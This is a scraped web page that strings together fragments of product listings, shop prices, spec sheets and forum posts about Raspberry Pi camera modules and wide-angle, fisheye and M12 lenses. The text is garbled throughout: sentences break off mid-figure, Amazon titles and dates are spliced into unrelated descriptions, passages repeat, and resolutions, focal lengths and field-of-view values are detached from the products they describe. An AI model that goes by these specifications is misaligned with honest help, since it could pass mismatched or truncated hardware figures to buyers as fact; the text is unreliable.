Lenses Webcam Video for Raspberry Pi 4 Model B/Pi 3 B+, 3 B, 2 B, Zero 4. The camera is designed for ease of use while still providing additional features for advanced users. No additional lens is required to use this camera, it is ready-to-go as-is! May 15, 2020 · 6mm Wide Angle and 16mm telephoto lens for Raspberry Pi HQ Camera. 8MP More than HD: Supports 3280 × 2464 pixel still images, as well as 1080p47, 1640 × 1232p41 and 640 × 480p206 video modes, and still captures. picam2 = Picamera2() 5. Features: Robust Built Quality; Wide angle fish-eye lens; Manual Adjustable Focus; Easy to install and Use If you got a Raspberry Pi Camera Board V2 and just want to try something new, here it is. This interface uses the dedicated CSI interface, which was designed especially for interfacing with cameras. Adafruit Industries, Unique & fun DIY electronics and kits 6mm 3MP Wide Angle Lens for Raspberry Pi HQ Camera [3MP] : ID 4563 - This is the 6mm Wide Angle Lens, an add-on for the Raspberry Pi High Quality Camera. May 30, 2022 · To watch any mischief from the printer I use a standard pi camera board with a Waveshare 8MP IMX219-D160 Camera Module Wide Angle 160 Degree FoV Compatible with Raspberry Pi Camera Board V2. Camera Module 3 can be used to take full HD video as well as stills photographs, We have created a video to illustrate the process of connecting the camera. Its distance, resolution, and other parameters are adjustable and there are 4 screw holes on the module, a popular option for large spaces, widely used in large landscape surveillance. Raspberry Pi Camera Module 3 - Wide Angle. Example Lenses: LK003 Platform Compatibility: Supports Raspberry Pi 3, 4 A/B The camera also features an adjustable 3. May 12, 2023 · innomaker Raspberry Pi Camera Module 5MP 1080P OV5647 Sensor with M12 FOV90 IR Filter LEN for Raspberry Pi 5, Pi4, Pi 3 B+, Pi 3, Pi 2, Pi B+, Pi A, Pi Zero dummy Arducam Lens Board OV5647 Sensor for Raspberry Pi Camera, Adjustable and Interchangeable Lens M12 Module, Focus and Angle Enhancement for Raspberry Pi 5/4/3/3 B+ Resolution: 5 MP; Interface Type: CSI(Camera Serial Interface) Dimensions: 25x23x8 (LxWxH) mm; Supported Video Formats: 1080p @ 30fps, 720p @ 60fps and 640x480p 60/90 video Camera Module 3 Wide features an ultra-wide 120 degree angle of view, meaning your Raspberry Pi can see more of the world. Arducam for Raspberry Pi Camera: Designed for Raspberry Pi, this 8MP HD camera module has IMX219 8MP pixel sensor with a wide-angle M12 lens. Stereo Synchronized: Up to 4 cameras capturing at the same time. The preview is where we Buy Now It Just Works - We’ve tested this lens among the many other selected on the 12MP RPi HQ Camera. Focus can be manually adjusted on the lens itself. How to Keep your image in focus. It offers an IMX708 12-megapixel sensor with HDR, and features phase detection autofocus. The Wise Alternative - Another cost-effective choice that adds up to you Raspberry Pi High Quality Camera Module, with 6mm focal length and manual focus Qualified Arducam - Arducam has been selecting and testing CS Camera Module 3 Wide features an ultra-wide 120 degree angle of view, meaning your Raspberry Pi can see more of the world. 7″ Focal Length: 3. These modules were a long-awaited update to the v2 cameras that had been launched almost 7 years ago and were showing their age, especially since none of the Pi cameras had auto-focus. Flexible Control: Single/Dual/Quad channel modes. com : Arducam Lens for Raspberry Pi HQ Camera, Wide Angle CS-Mount Lens, 6mm Focal Length with Manual Focus and Adjustable Aperture : Electronics Aug 25, 2020 · Arducam Lens for Raspberry Pi HQ Camera, Wide Angle CS-Mount Lens, 6mm Focal Length with Manual Focus and Adjustable Aperture. 5mm × 5. It has a wide field of view and a variety of uses, like CCTV applications, or of course, cat photos. Complementary to RPI V3: An M12 lens supplement to the Raspberry Pi IMX708 autofocus camera module 3. Native to Raspberry Pi- The Pi Camera is fully compatible with Raspberry Pi 5/4B/3B/3B+. The module also features powered autofocus making it easier to get a sharp picture output. Superior Sensor: Sony IMX708 with HDR mode for up to 3-megapixel output, MIPI CSI-2 Communication. 5 out of 5 stars 5 Aug 8, 2018 · Amazon. NO: 2. Speaking of wide-angle, we are not talking about the 6mm focal length level wide-angle, because that really produces a relatively narrower field of view compared to a fisheye lens. 2 out of 5 stars 78 Raspberry Pi Wide Angle Camera Module benefits from Fisheye Lens to achieve 160 angle of view, which supports all the versions of Raspberry Pi. 8MP More than HD: Supports 3280 × 2464 pixel still images, and still captures. Includes a thumbscrew to quickly Raspberry Pi Wide Angle Camera Module is a low-cost Fisheye Lens, wider Field View,Camera module, designed for Raspberry Pi. 3 megapixel Sony IMX477 sensor, 7. Jul 26, 2017 · Amazon. Focal length – The shorter, the wider. Dec 21, 2016 · 6by9 Raspberry Pi Engineer & Forum Moderator Posts: 16712 Joined: Wed Dec 04, 2013 11:27 am Location: ZZ9 Plural Z Alpha, aka just outside Cambridge. Check out our lens section for other lens options! Arducam tested this lens to ensure great performance when combined with the 12MP HQ Camera. Specs. Available with your choice of C/CS mount or M12 mount. Camera Module 3 is available in standard and wide-angle variants, both of which are available with or without an infrared cut filter. 2mm Focal Length with Manual Focus. Camera Module 3 Wide NoIR features an infrared and ultra-wide 120 degree angle of view, meaning your Raspberry Pi can see more of the world and in low light conditions. Need a wider field of view than the standard 75 degrees? Camera Module 3 Wide features an ultra-wide 120 degree angle of view, meaning your Raspberry Pi can see more of the world. This camera is a custom designed add-on for Raspberry Pi. This is Arducam Ultra Wide Angle Fisheye 5MP OV5647 Camera for Raspberry Pi. 6-megapixel camera that is able to capture rapid motion without introducing artefacts typical of rolling shutter cameras. Max Resolution: 4608x2592. com: Smraza Raspberry Pi 4 Camera Module 5 Megapixels 1080p OV5647 Sensor Adjustable Focus Wide Angle Fish-Eye Camera Lenses Webcam Video for Raspberry Pi 4 Model B/Pi 3 B+, 3 B, 2 B, Zero : Electronics The Raspberry Pi Camera Module 3 NoIR is the latest entry in the Official Raspberry Pi range of camera modules, offering a new 12 Megapixel Sony IMX708 image sensor, powered autofocus, improved low-light sensitivity and HDR (High Dynamic Range) support for your Raspberry Pi projects! May 12, 2020 · Amazon. Model No: CS2006ZM06; Optical Format: 1/2. 9mm diagonal image size, and back-illuminated sensor architecture, with adjustable back focus. 7-degree viewing angle. This is also the first time that they included a version with a wide Dec 2, 2018 · Amazon. See things differently Both the standard and wide cameras come with the option of having no IR filter, turning the Camera Module 3 into a night-vision camera when used with infrared lighting. Raspberry Pi Camera Module 3 is a compact camera from Raspberry Pi. com: innomaker Raspberry Pi Camera Module 5MP 1080P OV5647 Sensor with M12 FOV90 IR Filter LEN for Raspberry Pi 5, Fisheye, Wide Angle. SKU: B0428 Categories: Embedded Camera Module, Native Camera, Raspberry Pi, V1 OV5647. VAT) Read more; Raspberry Pi HQ Camera € 66,87 (€ 53,50 excl. Stock availability. If you want to capture more check out the Wide angle version, and if night vision is your thing have a look at the NoIR Camera 3 (also available with a wide lens) Installation The included ribbon cable should connect to the CSI connector on your Pi (next to the HDMI ports), to connect to the Pi Zero you'll need a Raspberry Pi Zero Camera Adapter . It’s now a stable module, pre-installed on Raspberry Pi OS and ready to use on a fresh system installation. 5mm Nov 27, 2022 · Ultra Wide Angle-The Arducam for Raspberry Pi Camera Module has a fisheye M12 lens with 220° horizontal field of view which allows you to shoot large-scale scenes at close range. Raspberry Pi Camera HDMI Cable Extension € 19,97 (€ 15,98 excl. Using DSLR Lens on Raspberry Pi High Quality Camera. It is compatible with the same broad No lens shading, no dark corners, decent image quality, it just works. 1 After playing with Pi Camera Module v3 for some time, it’s clear to me, that the actual camera sensor is very close to what I would expect to see on mid-range mobile phones. May 4, 2019 · I am looking for adding a wide angle lens to the Raspberry Pi v2 camera. Jan 14, 2023 · from libcamera import controls. Variable Baseline Extension: Adopt Arducam Camarray adapter board, connect with flexible cable. Now I have the M12 lens and the M12 lens holder. For Raspberry Pi Model A/B/B+, Raspberry Pi 2/3/3B+, please search “B0066” Sensor: 1/4 inch OV5647 sensor in a fixed-focus lens, angle of view: 120° diagonal Integral IR filter, visible light Still picture resolution: 2592 x 1944, Max video resolution: 1080p Dimension: 60mm × 11. Finally the Camera Module 3 features High Dynamic Range (HDR) support expanding the range of color and contrast in the output. com : M12 Lens Set, Arducam Lens for Raspberry Pi Camera (1/4") and Arduino, Telephoto, Macro, Wide Angle, Fisheye Lens Kit (10°- 200°) with M12 Lens Holder and Cleaning Cloth, Optical All-in-One : Electronics Since Raspberry Pi OS Bullseye, the picamera2 library is the default method to control the camera module with Python on a Raspberry Pi. This version features the wide-angle lens (120° field of view). EFL: 1. I am not sure how to proceed further. Raspberry Pi launched new camera modules (v3) on January 2023. Jan 9, 2023 · Raspberry Pi has released an updated camera, Camera Module 3 (aka Camera v3 or Camera Module v3), with an MSRP of $25 for standard or $35 for the wide angle version. 4. To use this camera with a Raspberry Pi 5, you will need to buy this adapter cable! To use this camera with a Raspberry Pi Zero, you will need to buy this adapter cable! The new Camera Module 3 is available with a standard 75° or wide-angle 120° lens (select version before adding to cart), giving you more options for your specific project needs. 2mm; Aperture: Max F2. 3mm; F. The following video shows how to connect the original camera on the original Raspberry Pi 1. 2; Field of View (FOV): 65°(H) on Raspberry Pi High Quality Camera, 37°(H) on Raspberry Pi Jan 16, 2023 · Camera Module V3 – wide lens Camera Module V3 – standard lens HQ Camera Module – CCTV lens HQ Camera Module – Zoom lens Camera Module v1. 0 quick development and evaluation board for sensors like OV5647 This Ultra-Wide Angle C-mount lens for the Raspberry Pi HQ Camera has a 3. VAT) Add to cart; Raspberry Pi Camera Module 2 NoIR (8MP) € 18,63 (€ 14,90 excl. Replaceable M12 Lens: Equipped with a 120°(H) wide-angle M12 Lens. Arducam has designed a Fixed-Focus camera variant based on the Official Wide-Angle Camera Module 3. Added to your shopping cart $ 35. Mar 9, 2023 · The Raspberry Pi Global Shutter Camera combines the C/CS-mount metalwork of our High Quality Camera with Sony’s IMX296 sensor. Arducam 5MP OV5647 Ultra Wide Angle Fisheye Camera for Raspberry Pi. Dec 11, 2018 · Amazon. 29 available SEN-21332 . 6mm focal length and 75. 3″ Focal Length: 6mm; Aperture: F1. However the angle is not wide enough, since the camera board has to rest inside the enclosure, because of glare and reflections in the acrylic panels of Wide Angle: 120°(DFOV) Check Nvidia Jetson version: B0303N High Resolution: Based on 12. Googling helped me locate a 3D printed lens holder and lens that I can attach to the v2 camera. Note: this is a raw camera module without driver PCB, the Raspberry Pi and Raspberry Pi Camera Board V2 PCB in the photos are NOT included!!! Features: Sony IMX219 8-megapixel sensor Camera specifications: CMOS size : 1/4inch Aperture (F) : 2. Software autofocus lens: B0176 Still picture resolution: 2592 x 1944, Max video resolution: 1080p USB 3. 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